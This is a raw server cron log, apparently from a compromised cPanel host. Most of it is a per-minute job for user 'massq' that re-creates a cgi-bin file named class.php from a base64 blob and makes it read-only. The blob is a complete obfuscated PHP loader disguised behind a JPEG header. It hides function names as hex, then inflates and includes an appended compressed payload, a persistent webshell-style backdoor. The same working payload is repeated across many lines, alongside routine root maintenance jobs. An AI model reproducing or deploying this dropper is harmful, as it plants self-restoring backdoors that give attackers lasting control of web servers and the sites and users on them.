Nov  9 09:07:01 server CROND[17411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:08:01 server CROND[18230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:09:01 server CROND[19026]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:09:01 server CROND[19027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:10:01 server CROND[19550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:10:01 server CROND[19552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:10:01 server CROND[19551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:10:01 server CROND[19557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:11:01 server CROND[20305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:12:01 server CROND[21074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:12:01 server CROND[21075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:13:01 server CROND[21863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:14:01 server CROND[22668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:15:01 server CROND[23482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:15:01 server CROND[23483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:15:01 server CROND[23484]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:16:01 server CROND[24468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:17:01 server CROND[25294]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:18:01 server CROND[26105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:19:01 server CROND[26943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:20:01 server CROND[27924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:20:01 server CROND[27929]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 09:20:01 server CROND[27931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
